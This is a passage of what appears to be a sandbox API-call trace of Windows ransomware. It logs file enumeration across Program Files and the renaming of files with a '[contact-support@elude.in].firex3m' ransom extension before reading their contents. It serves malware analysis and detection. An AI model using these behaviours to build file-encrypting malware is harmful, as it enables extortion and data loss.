lpNumberOfBytesWritten=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x36bff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.789] CloseHandle (hObject=0x5e4) returned 1 [0259.789] GetProcessHeap () returned 0x630000 [0259.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faaf20 | out: hHeap=0x630000) returned 1 [0259.795] GetProcessHeap () returned 0x630000 [0259.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7247db0 | out: hHeap=0x630000) returned 1 [0259.795] GetProcessHeap () returned 0x630000 [0259.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0261.221] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfcc4 | out: lpFindFileData=0x36bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60cad3a3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcf9f, dwReserved0=0xc447496, dwReserved1=0x7247da8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0261.221] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0261.221] Sleep (dwMilliseconds=0x1) [0261.236] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\174.png", len=0x7a | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\174.png") returned 1 [0261.236] GetProcessHeap () returned 0x630000 [0261.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ccc) returned 0x6fe3bb0 [0261.237] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\174.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\174.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.240] Sleep (dwMilliseconds=0x1) [0261.251] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\8.jpg", len=0x7b | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\8.jpg") returned 1 [0261.251] GetProcessHeap () returned 0x630000 [0261.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ddc) returned 0x6fe3bb0 [0261.251] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\8.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.261] Sleep (dwMilliseconds=0x1) [0261.264] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileWide.scale-200.png", len=0x7e | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileWide.scale-200.png") returned 1 [0261.264] GetProcessHeap () returned 0x630000 [0261.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e60) returned 0x6fe3bb0 [0261.264] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileWide.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_tilewide.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.265] Sleep (dwMilliseconds=0x1) [0261.282] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg", len=0x69 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg") returned 1 [0261.282] GetProcessHeap () returned 0x630000 [0261.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0261.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\fre_background.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\images\\fre_background.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.282] Sleep (dwMilliseconds=0x1) [0261.297] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", len=0x64 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned 1 [0261.297] GetProcessHeap () returned 0x630000 [0261.297] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e9c) returned 0x6fe3bb0 [0261.297] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.891] Sleep (dwMilliseconds=0x1) [0263.900] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\164.png", len=0x7a | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\164.png") returned 1 [0263.900] GetProcessHeap () returned 0x630000 [0263.900] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca4) returned 0x6fe3bb0 [0263.900] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\164.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\164.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.902] Sleep (dwMilliseconds=0x1) [0264.669] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd", len=0x61 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd") returned 1 [0264.669] GetProcessHeap () returned 0x630000 [0264.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d08) returned 0x6fe3bb0 [0264.669] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\CallsCore.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\callscore.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.669] Sleep (dwMilliseconds=0x1) [0266.268] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt", len=0x6b | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt") returned 1 [0266.269] GetProcessHeap () returned 0x630000 [0266.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc4) returned 0x6fe3bb0 [0266.269] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.270] Sleep (dwMilliseconds=0x1) [0268.294] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png", len=0xb2 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png") returned 1 [0268.294] GetProcessHeap () returned 0x630000 [0268.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b94) returned 0x6fe3bb0 [0268.314] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagewidetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.321] Sleep (dwMilliseconds=0x1) [0268.325] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-200.png", len=0x81 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-200.png") returned 1 [0268.325] GetProcessHeap () returned 0x630000 [0268.325] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c64) returned 0x6fe3bb0 [0268.325] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageWideTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagewidetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.326] Sleep (dwMilliseconds=0x1) [0268.341] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-200.png", len=0x82 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-200.png") returned 1 [0268.341] GetProcessHeap () returned 0x630000 [0268.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c60) returned 0x6fe3bb0 [0268.341] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageStoreLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagestorelogo.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.341] Sleep (dwMilliseconds=0x1) [0268.356] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-200.png", len=0x85 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-200.png") returned 1 [0268.356] GetProcessHeap () returned 0x630000 [0268.356] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c5c) returned 0x6fe3bb0 [0268.356] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagesplashscreen.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.358] Sleep (dwMilliseconds=0x1) [0268.372] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-200.png", len=0x82 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-200.png") returned 1 [0268.372] GetProcessHeap () returned 0x630000 [0268.372] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c58) returned 0x6fe3bb0 [0268.372] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagesmalltile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.373] Sleep (dwMilliseconds=0x1) [0268.388] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-200.png", len=0x80 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-200.png") returned 1 [0268.388] GetProcessHeap () returned 0x630000 [0268.388] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c54) returned 0x6fe3bb0 [0268.388] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageMedTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagemedtile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.388] Sleep (dwMilliseconds=0x1) [0268.403] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-200.png", len=0x82 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-200.png") returned 1 [0268.403] GetProcessHeap () returned 0x630000 [0268.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c50) returned 0x6fe3bb0 [0268.403] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageLargeTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagelargetile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.404] Sleep (dwMilliseconds=0x1) [0268.419] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-200.png", len=0x82 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-200.png") returned 1 [0268.419] GetProcessHeap () returned 0x630000 [0268.419] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c4c) returned 0x6fe3bb0 [0268.419] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageBadgeLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackagebadgelogo.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.427] Sleep (dwMilliseconds=0x1) [0268.434] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96_altform-unplated.png", len=0x95 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96_altform-unplated.png") returned 1 [0268.434] GetProcessHeap () returned 0x630000 [0268.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c48) returned 0x6fe3bb0 [0268.434] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-96_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.435] Sleep (dwMilliseconds=0x1) [0268.459] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png", len=0x84 | out: pbstr=0x36bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png") returned 1 [0268.459] GetProcessHeap () returned 0x630000 [0268.459] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c44) returned 0x6fe3bb0 [0268.459] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-96.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.462] Sleep (dwMilliseconds=0x1) [0270.669] SysReAllocStringLen (in: pbstr=0x36bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF", len=0x45 | out: pbstr=0x36bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF") returned 1 [0270.669] GetProcessHeap () returned 0x630000 [0270.669] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b2c) returned 0x6fe3bb0 [0270.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkbi.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0270.671] CloseHandle (hObject=0x6a0) returned 1 [0270.671] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0270.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkbi.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkbi.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0270.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x36bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x36bfc6c | out: lpFindFileData=0x36bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88c76063, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88c76063, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89690720, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x274c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHLBKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SCHLBK~2.FIR")) returned 0x6d4e00 [0270.673] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0270.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SCHLBKBI.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\schlbkbi.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0270.673] GetProcessHeap () returned 0x630000 [0270.673] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75ed108 [0270.674] GetProcessHeap () returned 0x630000 [0270.674] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x75f8538 [0270.675] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.675] ReadFile (in: hFile=0x6a0, lpBuffer=0x75ed108, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x36bff0c, lpOverlapped=0x0 | out: lpBuffer=0x75ed108*, lpNumberOfBytesRead=0x36bff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 43 os_tid = 0xbcc [0067.196] Sleep (dwMilliseconds=0x1) [0067.440] Sleep (dwMilliseconds=0x1) [0067.561] Sleep (dwMilliseconds=0x1) [0067.714] Sleep (dwMilliseconds=0x1) [0067.828] Sleep (dwMilliseconds=0x1) [0067.935] Sleep (dwMilliseconds=0x1) [0068.042] Sleep (dwMilliseconds=0x1) [0068.148] Sleep (dwMilliseconds=0x1) [0068.282] Sleep (dwMilliseconds=0x1) [0068.394] Sleep (dwMilliseconds=0x1) [0068.491] Sleep (dwMilliseconds=0x1) [0068.546] Sleep (dwMilliseconds=0x1) [0068.697] Sleep (dwMilliseconds=0x1) [0068.748] Sleep (dwMilliseconds=0x1) [0068.791] Sleep (dwMilliseconds=0x1) [0068.844] Sleep (dwMilliseconds=0x1) [0068.882] Sleep (dwMilliseconds=0x1) [0068.935] Sleep 